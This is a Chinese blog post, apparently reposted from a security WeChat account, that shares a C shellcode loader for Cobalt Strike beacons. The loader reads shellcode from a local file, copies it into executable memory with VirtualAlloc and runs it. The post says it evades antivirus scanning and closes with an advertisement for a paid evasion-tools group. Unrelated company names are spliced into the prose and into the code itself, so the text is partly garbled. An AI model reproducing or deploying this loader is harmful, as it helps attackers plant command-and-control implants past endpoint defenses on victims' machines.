栏目分类
发布日期：2024-06-25 09:51 点击次数：189
好久没写了，水一水，都知道cs生成的stager的马其实就是一个loader，里面套了一层shellcode也就是cs payload generator生成的c代码里面的shellcode，运行它之后从远程服务器下载beacon运行，那很多做免杀的方式也都是对这个shellcode做，对他混淆啊，重写啊，加密啊等等的然后写一个shellcode loader运行shellcode，当然这样做倒是能过一下某绒，某卫士，但是还是有好多人过不了用各种语言写loader，加密shellcode啥的，那就给大家简单分享一个c写的加载器吧，shellcode也没做啥，代码是本地文件分离读取shellcode的，民丰县科列电动机有限公司不分离吧也可以过一两分钟就死， 企业-裕润木咖啡有限公司改成远的吧也可以， 企业-裕明利咖啡有限公司能短时间正常上线执行什么的，但过一些时间就死了，至于什么原因大家可以想一想为什么，下面分享一下代码以及测试图。
由于微信公众号推送机制改变了，快来星标不再迷路，谢谢大家！
图片
2.代码及测试2.1 Loader图片
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <windows.h>typedef void(*Shellcode)();int main() { FILE* file = fopen('config.txt'，业务合作 'r'); if (file == NULL) { printf('无法打开配置文件。\n'); return 1; } // 读取Shellcode内容 char shellcode[4096] = { 0 }; if (fgets(shellcode， sizeof(shellcode)， file) == NULL) { printf('读取Shellcode失败。\n'); fclose(file); return 1; } // 关闭文件 fclose(file); // 去除换行符 size_t shellcodeLen = strlen(shellcode); if (shellcode[shellcodeLen - 1] == '\n') { shellcode[shellcodeLen - 1] = '\0'; } // 将Shellcode转换为二进制形式 size_t shellcodeSize = shellcodeLen / 4; unsigned char* shellcodeBytes = (unsigned char*)malloc(shellcodeSize); if (shellcodeBytes == NULL) { printf('内存分配失败。\n'); return 1; } for (size_t i = 0; i < shellcodeSize; i++) { sscanf(shellcode + (i * 4)， '\\x%2hhx'， &shellcodeBytes[i]); } // 分配内存来存储Shellcode LPVOID shellcodeMem = VirtualAlloc(NULL， shellcodeSize， MEM_COMMIT | MEM_RESERVE， PAGE_EXECUTE_READWRITE); if (shellcodeMem == NULL) { printf('无法为Shellcode分配内存。\n'); free(shellcodeBytes); return 1; } // 将Shellcode复制到分配的内存中 memcpy(shellcodeMem， shellcodeBytes， shellcodeSize); // 执行Shellcode Shellcode shellcodeFunc = (Shellcode)shellcodeMem; shellcodeFunc(); // 释放内存 VirtualFree(shellcodeMem， 0， MEM_RELEASE); free(shellcodeBytes); return 0;}2.2 Shellcodeshellcode就直接用cs生成c代码把shellcode弄出来粘贴到文件里面就完了。
图片
2.3 效果扫描没发现问题。
图片
运行几分钟后很稳。
图片
Loader还行。
图片
3.总结有些东西很简单，不要想复杂了，多试几遍就知道某个杀软杀什么了，也能慢慢摸索他们的检测原理，内存啥的都一样，慢慢都想明白了就会感觉不难了只是说有些东西不好说太明白，但各种理论什么的都是开出来的，动动脑子想明白了在去实施效果更好。
★
付费圈子欢 迎 加 入 星 球 ！
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
图片
进成员内部群
图片
星球的最近主题和星球内部工具一些展示
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
图片
加入安全交流群
图片
关 注 有 礼新闻资讯
本站仅提供存储服务，所有内容均由用户发布，如发现有害或侵权内容，请点击举报。